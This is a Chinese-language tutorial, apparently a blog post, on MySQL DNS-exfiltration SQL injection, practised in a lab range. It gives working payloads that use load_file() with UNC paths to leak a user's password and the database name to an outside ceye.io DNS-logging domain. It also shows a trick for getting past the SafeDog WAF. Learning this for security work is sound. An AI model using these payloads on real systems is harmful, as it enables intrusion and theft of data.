MysqlDNS注入
load_file()函数
load_file()为读取文件并返回内容为字符串,文件必须位于在服务器主机上,必须指定完整路劲的文件,而且必须有FILE权限。该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小,默认1MB),如果该文件存在或无法获取,因为前面的条件之一不满足,函数返回NULL。
这里我在这个目录下存放了一个这样的txt文件,我们尝试来读取这个文件。
select load_file('D:/PhpStudy/PHPTutorial/WWW/1.txt');
成功读取
UNC路径
UNC(Universal Naming Convention)
通用命名规则,也称通用命名规范、通用命名约定。
UNC为网络(主要指局域网)上资源的完整Windows 2000名称。
1:什么是UNC路径?UNC路径就是类似\softer这样的形式的网络路径。
2:UNC为网络(主要指局域网)上资源的完整Windows 2000名称。
格式:\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。
目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
我们访问网上邻居所采用的命令行访问法,实际上应该称作UNC路径访问法。
我们把这个UNC路径使用到selec load_file()函数上去。
靶场演练
首先我们来到ceye注册一个账号,他会给我们一个dns服务器,和一个域名
首先ping一下
在这里的dns查询就可以看到
然后我们来查询一下数据
准备这张表的数据。
select load_file(concat('\\\\',(select password from users where id=1),'.zkg104.ceye.io\\abc'));
这样就相当于显错注入了。
这样的使用场景也就是在某些无法直接利用漏洞获得回显的情况下,但是目标就、可以发送DNS请求,这个时候就可以通过DNSlogo把想获得的数据显示出来。
来到靶场
靶场这里有安全狗
正常注入都会被拦截
id=1 and (select load_file(concat('\\\\',(select database()),'.zkg104.ceye.io\\abc')))%23
payload就是这个,但是因为有狗,会被拦截,我们需要过这个狗,利用apache的的特性
/1.txt?id=1 and (select load_file(concat('\\\\',(select database()),'.zkg104.ceye.io\\abc')))%23
这样就可以了,得到数据库名。
后面就是显错注入了,一步一步去注入,这里就不赘述了。
下一篇: Oracle注入-报错注入